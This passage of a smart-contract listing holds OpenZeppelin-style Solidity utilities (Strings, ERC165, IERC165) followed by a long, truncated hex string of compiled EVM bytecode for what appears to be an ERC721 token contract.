revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } function toHexStringWithColorPrefix(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 1); buffer[0] = "#"; for (uint256 i = 2 * length; i > 0; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interface/IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80637e518ec81161011a578063a7bb5803116100ad578063e8a3d4851161007c578063e8a3d48514610623578063e985e9c514610641578063f2fde38b14610671578063f96e5dfe1461068d578063fca3b5aa146106bd57610206565b8063a7bb580314610589578063b88d4fde146105bb578063bb6fa942146105d7578063c87b56dd146105f357610206565b8063938e3d7b116100e9578063938e3d7b1461050357806395d89b411461051f5780639b6fb5551461053d578063a22cb4651461056d57610206565b80637e518ec81461047d57806385c0eb26146104995780638677ebe8146104b55780638da5cb5b146104e557610206565b80631f1260061161019d57806342842e0e1161016c57806342842e0e146103d95780635b2bd79e146103f55780636352211e1461041357806370a0823114610443578063715018a61461047357610206565b80631f1260061461034157806323b872dd1461035d5780632b25a95314610379578063318e9e28146103a957610206565b8063081812fc116101d9578063081812fc14610295578063095ea7b3146102c5578063119d209a146102e157806318d877171461031157610206565b806301ffc9a71461020b5780630315e9341461023b57806306fdde03146102595780630754617214610277575b600080fd5b61022560048036038101906102209190613462565b6106d9565b6040516102329190613d2e565b60405180910390f35b6102436107bb565b6040516102509190613cc7565b60405180910390f35b6102616107e1565b60405161026e9190613de0565b60405180910390f35b61027f610873565b60405161028c9190613cc7565b60405180910390f35b6102af60048036038101906102aa91906135fd565b610899565b6040516102bc9190613cc7565b60405180910390f35b6102df60048036038101906102da9190613426565b61091e565b005b6102fb60048036038101906102f691906135fd565b610a36565b6040516103089190613de0565b60405180910390f35b61032b600480360381019061032691906135fd565b610ad6565b6040516103389190614122565b60405180910390f35b61035b6004803603810190610356919061357b565b610aee565b005b610377600480360381019061037291906132a9565b610e87565b005b610393600480360381019061038e91906135bc565b610ee7565b6040516103a09190613d2e565b60405180910390f35b6103c360048036038101906103be919061357b565b610f95565b6040516103d09190613d49565b60405180910390f35b6103f360048036038101906103ee91906132a9565b61108d565b005b6103fd6110ad565b60405161040a9190613de0565b60405180910390f35b61042d600480360381019061042891906135fd565b61113b565b60405161043a9190613cc7565b60405180910390f35b61045d60048036038101906104589190613244565b6111ed565b60405161046a9190614122565b60405180910390f35b61047b6112a5565b005b6104976004803603810190610492919061353a565b6113f8565b005b6104b360048036038101906104ae9190613244565b6114a7565b005b6104cf60048036038101906104ca91906133af565b611580565b6040516104dc9190613d2e565b60405180910390f35b6104ed6115ae565b6040516104fa9190613cc7565b60405180910390f35b61051d600480360381019061051891906134f5565b6115d7565b005b610527611682565b6040516105349190613de0565b60405180910390f35b610557600480360381019061055291906135bc565b611714565b6040516105649190613d49565b60405180910390f35b61058760048036038101906105829190613373565b611891565b005b6105a3600480360381019061059e91906134b4565b611a12565b6040516105b293929190613d64565b60405180910390f35b6105d560048036038101906105d091906132f8565b611a96565b005b6105f160048036038101906105ec91906135bc565b611af8565b005b61060d600480360381019061060891906135fd565b611f89565b60405161061a9190613de0565b60405180910390f35b61062b61208b565b6040516106389190613de0565b60405180910390f35b61065b6004803603810190610656919061326d565b612119565b6040516106689190613d2e565b60405180910390f35b61068b60048036038101906106869190613244565b6121ad565b005b6106a760048036038101906106a2919061357b565b61236f565b6040516106b49190613d2e565b60405180910390f35b6106d760048036038101906106d29190613244565b61241d565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107a457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806107b457506107b3826124f6565b5b9050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600180546107f090614511565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90614511565b80156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b5050505050905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006108a482612560565b6108e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108da90614002565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006109298261113b565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610991906140a2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166109b96125cc565b73ffffffffffffffffffffffffffffffffffffffff1614806109e857506109e7816109e26125cc565b612119565b5b610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90613f82565b60405180910390fd5b610a3183836125d4565b505050565b600a6020528060005260406000206000915090508054610a5590614511565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8190614511565b8015610ace5780601f10610aa357610100808354040283529160200191610ace565b820191906000526020600020905b815481529060010190602001808311610ab157829003601f168201915b505050505081565b600b6020528060005260406000206000915090505481565b610af66125cc565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90613f62565b60405180910390fd5b6000610b9082610f95565b90506000806000610bf2858060600190610baa91906141eb565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611a12565b925092509250610c27600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685838686611580565b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90614062565b60405180910390fd5b60005b858060400190610c79919061413d565b9050811015610e7f576000868060400190610c94919061413d565b83818110610ccb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002810190610cdd9190614242565b604051602001610cee929190613c5e565b6040516020818303038152906040528051906020012090506000600c60008381526020019081526020016000205414610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390613ec2565b60405180910390fd5b6000600b60008960200135815260200190815260200160002060008154610d8290614574565b9190508190558860200135179050610dac886000016020810190610da69190613244565b8261268d565b878060400190610dbc919061413d565b84818110610df3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002810190610e059190614242565b600a60008481526020019081526020016000209190610e25929190612f38565b5080600c60008481526020019081526020016000208190555086817f0f84d23cfca28469f65591a722135f0e3fcc7a7832f88fa90fe84ea5089a86be60405160405180910390a3505080610e7890614574565b9050610c69565b505050505050565b610e98610e926125cc565b8261285b565b610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece906140c2565b60405180910390fd5b610ee2838383612939565b505050565b600080610ef383611714565b90506000806000610f55868060400190610f0d91906141eb565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611a12565b925092509250610f8a600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685838686611580565b945050505050919050565b600080826000016020810190610fab9190613244565b8360200135604051602001610fc1929190613bbc565b604051602081830303815290604052905060005b838060400190610fe5919061413d565b905081101561107c5781848060400190610fff919061413d565b83818110611036577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906110489190614242565b60405160200161105a93929190613c10565b60405160208183030381529060405291508061107590614574565b9050610fd5565b508080519060200120915050919050565b6110a883838360405180602001604052806000815250611a96565b505050565b600d80546110ba90614511565b80601f01602080910402602001604051908101604052809291908181526020018280546110e690614511565b80156111335780601f1061110857610100808354040283529160200191611133565b820191906000526020600020905b81548152906001019060200180831161111657829003601f168201915b505050505081565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db90613fc2565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125590613fa2565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ad6125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190614022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114006125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490614022565b60405180910390fd5b80600d90805190602001906114a3929190612fbe565b5050565b6114af6125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153390614022565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061158f8686868686612b95565b806115a357506115a28686868686612c1f565b5b905095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6115df6125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390614022565b60405180910390fd5b81816009919061167d929190612f38565b505050565b60606002805461169190614511565b80601f01602080910402602001604051908101604052809291908181526020018280546116bd90614511565b801561170a5780601f106116df5761010080835404028352916020019161170a565b820191906000526020600020905b8154815290600101906020018083116116ed57829003601f168201915b5050505050905090565b60008060405160200161172690613cb2565b604051602081830303815290604052905060005b83806000019061174a9190614194565b90508110156117d557818480600001906117649190614194565b8381811061179b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040516020016117b3929190613c36565b6040516020818303038152906040529150806117ce90614574565b905061173a565b5060005b8380602001906117e9919061413d565b90508110156118805781848060200190611803919061413d565b8381811061183a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200281019061184c9190614242565b60405160200161185e93929190613c10565b60405160208183030381529060405291508061187990614574565b90506117d9565b508080519060200120915050919050565b6118996125cc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90613f02565b60405180910390fd5b80600660006119146125cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166119c16125cc565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611a069190613d2e565b60405180910390a35050565b60008060006041845114611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a52906140e2565b60405180910390fd5b6020840151925060408401519150606084015160001a9050601b8160ff161015611a8f57601b81611a8c91906143d9565b90505b9193909250565b611aa7611aa16125cc565b8361285b565b611ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611add906140c2565b60405180910390fd5b611af284848484612c9b565b50505050565b808060200190611b08919061413d565b9050818060000190611b1a9190614194565b905014611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390613ea2565b60405180910390fd5b6000611b6782611714565b90506000806000611bc9858060400190611b8191906141eb565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611a12565b925092509250611bfe600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685838686611580565b611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3490613f22565b60405180910390fd5b60005b858060000190611c509190614194565b9050811015611f81576000868060200190611c6b919061413d565b83818110611ca2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002810190611cb49190614242565b604051602001611cc5929190613c5e565b6040516020818303038152906040528051906020012090506000600c60008381526020019081526020016000205414611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a90613e62565b60405180910390fd5b611d89878060000190611d469190614194565b84818110611d7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135612560565b611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf90613e02565b60405180910390fd5b868060200190611dd8919061413d565b83818110611e0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002810190611e219190614242565b600a60008a8060000190611e359190614194565b87818110611e6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002013581526020019081526020016000209190611e8e929190612f38565b50868060000190611e9f9190614194565b83818110611ed6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135600c60008381526020019081526020016000208190555085878060000190611f059190614194565b84818110611f3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201357f0f84d23cfca28469f65591a722135f0e3fcc7a7832f88fa90fe84ea5089a86be60405160405180910390a35080611f7a90614574565b9050611c40565b505050505050565b6060611f9482612560565b611fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fca90614082565b60405180910390fd5b6000600a6000848152602001908152602001600020604051602001611ff89190613c9b565b604051602081830303815290604052511415612049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204090614102565b60405180910390fd5b612051612cf7565b600a6000848152602001908152602001600020604051602001612075929190613c77565b6040516020818303038152906040529050919050565b6009805461209890614511565b80601f01602080910402602001604051908101604052809291908181526020018280546120c490614511565b80156121115780601f106120e657610100808354040283529160200191612111565b820191906000526020600020905b8154815290600101906020018083116120f457829003601f168201915b505050505081565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6121b56125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223990614022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a990613e42565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008061237b83610f95565b905060008060006123dd86806060019061239591906141eb565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050611a12565b925092509250612412600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685838686611580565b945050505050919050565b6124256125cc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a990614022565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166126478361113b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f490613fe2565b60405180910390fd5b61270681612560565b15612746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273d90613e82565b60405180910390fd5b61275260008383612d89565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127a29190614383565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600061286682612560565b6128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289c90613f42565b60405180910390fd5b60006128b08361113b565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061291f57508373ffffffffffffffffffffffffffffffffffffffff1661290784610899565b73ffffffffffffffffffffffffffffffffffffffff16145b80612930575061292f8185612119565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129598261113b565b73ffffffffffffffffffffffffffffffffffffffff16146129af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a690614042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613ee2565b60405180910390fd5b612a2a838383612d89565b612a356000826125d4565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a859190614410565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612adc9190614383565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008573ffffffffffffffffffffffffffffffffffffffff1660018686868660405160008152602001604052604051612bd19493929190613d9b565b6020604051602081039080840390855afa158015612bf3573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614905095945050505050565b6000806040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152509050612c8f878288604051602001612c71929190613be8565b60405160208183030381529060405280519060200120878787612b95565b91505095945050505050565b612ca6848484612939565b612cb284848484612d8e565b612cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce890613e22565b60405180910390fd5b50505050565b6060600d8054612d0690614511565b80601f0160208091040260200160405190810160405280929190818152602001828054612d3290614511565b8015612d7f5780601f10612d5457610100808354040283529160200191612d7f565b820191906000526020600020905b815481529060010190602001808311612d6257829003601f168201915b5050505050905090565b505050565b6000612daf8473ffffffffffffffffffffffffffffffffffffffff16612f25565b15612f18578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612dd86125cc565b8786866040518563ffffffff1660e01b8152600401612dfa9493929190613ce2565b602060405180830381600087803b158015612e1457600080fd5b505af1925050508015612e4557506040513d601f19601f82011682018060405250810190612e42919061348b565b60015b612ec8573d8060008114612e75576040519150601f19603f3d011682016040523d82523d6000602084013e612e7a565b606091505b50600081511415612ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb790613e22565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612f1d565b600190505b949350505050565b600080823b905060008111915050919050565b828054612f4490614511565b90600052602060002090601f016020900481019282612f665760008555612fad565b82601f10612f7f57803560ff1916838001178555612fad565b82800160010185558215612fad579182015b82811115612fac578235825591602001919060010190612f91565b5b509050612fba9190613044565b5090565b828054612fca90614511565b90600052602060002090601f016020900481019282612fec5760008555613033565b82601f1061300557805160ff1916838001178555613033565b82800160010185558215613033579182015b82811115613032578251825591602001919060010190613017565b5b5090506130409190613044565b5090565b5b8082111561305d576000816000905550600101613045565b5090565b600061307461306f846142be565b614299565b90508281526020810184848401111561308c57600080fd5b6130978482856144cf565b509392505050565b60006130b26130ad846142ef565b614299565b9050828152602081018484840111156130ca57600080fd5b6130d58482856144cf565b509392505050565b6000813590506130ec81614cb8565b92915050565b60008135905061310181614ccf565b92915050565b60008135905061311681614ce6565b92915050565b60008135905061312b81614cfd565b92915050565b60008151905061314081614cfd565b92915050565b600082601f83011261315757600080fd5b8135613167848260208601613061565b91505092915050565b60008083601f84011261318257600080fd5b8235905067ffffffffffffffff81111561319b57600080fd5b6020830191508360018202830111156131b357600080fd5b9250929050565b600082601f8301126131cb57600080fd5b81356131db84826020860161309f565b91505092915050565b6000608082840312156131f657600080fd5b81905092915050565b60006060828403121561321157600080fd5b81905092915050565b60008135905061322981614d14565b92915050565b60008135905061323e81614d2b565b92915050565b60006020828403121561325657600080fd5b6000613264848285016130dd565b91505092915050565b6000806040838503121561328057600080fd5b600061328e858286016130dd565b925050602061329f858286016130dd565b9150509250929050565b6000806000606084860312156132be57600080fd5b60006132cc868287016130dd565b93505060206132dd868287016130dd565b92505060406132ee8682870161321a565b9150509250925092565b6000806000806080858703121561330e57600080fd5b600061331c878288016130dd565b945050602061332d878288016130dd565b935050604061333e8782880161321a565b925050606085013567ffffffffffffffff81111561335b57600080fd5b61336787828801613146565b91505092959194509250565b6000806040838503121561338657600080fd5b6000613394858286016130dd565b92505060206133a5858286016130f2565b9150509250929050565b600080600080600060a086880312156133c757600080fd5b60006133d5888289016130dd565b95505060206133e688828901613107565b94505060406133f78882890161322f565b935050606061340888828901613107565b925050608061341988828901613107565b9150509295509295909350565b6000806040838503121561343957600080fd5b6000613447858286016130dd565b92505060206134588582860161321a565b9150509250929050565b60006020828403121561347457600080fd5b60006134828482850161311c565b91505092915050565b60006020828403121561349d57600080fd5b60006134ab84828501613131565b91505092915050565b6000602082840312156134c657600080fd5b600082013567ffffffffffffffff8111156134e057600080fd5b6134ec84828501613146565b91505092915050565b6000806020838503121561350857600080fd5b600083013567ffffffffffffffff81111561352257600080fd5b61352e85828601613170565b92509250509250929050565b60006020828403121561354c57600080fd5b600082013567ffffffffffffffff81111561356657600080fd5b613572848285016131ba565b91505092915050565b60006020828403121561358d57600080fd5b600082013567ffffffffffffffff8111156135a757600080fd5b6135b3848285016131e4565b91505092915050565b6000602082840312156135ce57600080fd5b600082013567ffffffffffffffff8111156135e857600080fd5b6135f4848285016131ff565b91505092915050565b60006020828403121561360f57600080fd5b600061361d8482850161321a565b91505092915050565b61362f81614444565b82525050565b61364661364182614444565b6145bd565b82525050565b61365581614456565b82525050565b61366481614462565b82525050565b61367b61367682614462565b6145cf565b82525050565b600061368c82614335565b613696818561434b565b93506136a68185602086016144de565b6136af81614682565b840191505092915050565b60006136c582614335565b6136cf818561435c565b93506136df8185602086016144de565b80840191505092915050565b60006136f78385614378565b93506137048385846144cf565b82840190509392505050565b600061371b82614340565b6137258185614367565b93506137358185602086016144de565b61373e81614682565b840191505092915050565b600061375482614340565b61375e8185614378565b935061376e8185602086016144de565b80840191505092915050565b6000815461378781614511565b6137918186614378565b945060018216600081146137ac57600181146137bd576137f0565b60ff198316865281860193506137f0565b6137c685614320565b60005b838110156137e8578154818901526001820191506020810190506137c9565b838801955050505b50505092915050565b6000613806601683614367565b9150613811826146a0565b602082019050919050565b6000613829603283614367565b9150613834826146c9565b604082019050919050565b600061384c602683614367565b915061385782614718565b604082019050919050565b600061386f602283614367565b915061387a82614767565b604082019050919050565b6000613892601c83614367565b915061389d826147b6565b602082019050919050565b60006138b5601b83614367565b91506138c0826147df565b602082019050919050565b60006138d8602083614367565b91506138e382614808565b602082019050919050565b60006138fb602483614367565b915061390682614831565b604082019050919050565b600061391e601983614367565b915061392982614880565b602082019050919050565b6000613941601983614367565b915061394c826148a9565b602082019050919050565b6000613964602c83614367565b915061396f826148d2565b604082019050919050565b6000613987601883614367565b915061399282614921565b602082019050919050565b60006139aa603883614367565b91506139b58261494a565b604082019050919050565b60006139cd602a83614367565b91506139d882614999565b604082019050919050565b60006139f0602983614367565b91506139fb826149e8565b604082019050919050565b6000613a13602083614367565b9150613a1e82614a37565b602082019050919050565b6000613a36602c83614367565b9150613a4182614a60565b604082019050919050565b6000613a59602083614367565b9150613a6482614aaf565b602082019050919050565b6000613a7c602983614367565b9150613a8782614ad8565b604082019050919050565b6000613a9f601783614367565b9150613aaa82614b27565b602082019050919050565b6000613ac2602f83614367565b9150613acd82614b50565b604082019050919050565b6000613ae5602183614367565b9150613af082614b9f565b604082019050919050565b6000613b08600083614378565b9150613b1382614bee565b600082019050919050565b6000613b2b603183614367565b9150613b3682614bf1565b604082019050919050565b6000613b4e601883614367565b9150613b5982614c40565b602082019050919050565b6000613b71603383614367565b9150613b7c82614c69565b604082019050919050565b613b90816144b8565b82525050565b613ba7613ba2826144b8565b6145eb565b82525050565b613bb6816144c2565b82525050565b6000613bc88285613635565b601482019150613bd88284613b96565b6020820191508190509392505050565b6000613bf482856136ba565b9150613c00828461366a565b6020820191508190509392505050565b6000613c1c82866136ba565b9150613c298284866136eb565b9150819050949350505050565b6000613c4282856136ba565b9150613c4e8284613b96565b6020820191508190509392505050565b6000613c6b8284866136eb565b91508190509392505050565b6000613c838285613749565b9150613c8f828461377a565b91508190509392505050565b6000613ca7828461377a565b915081905092915050565b6000613cbd82613a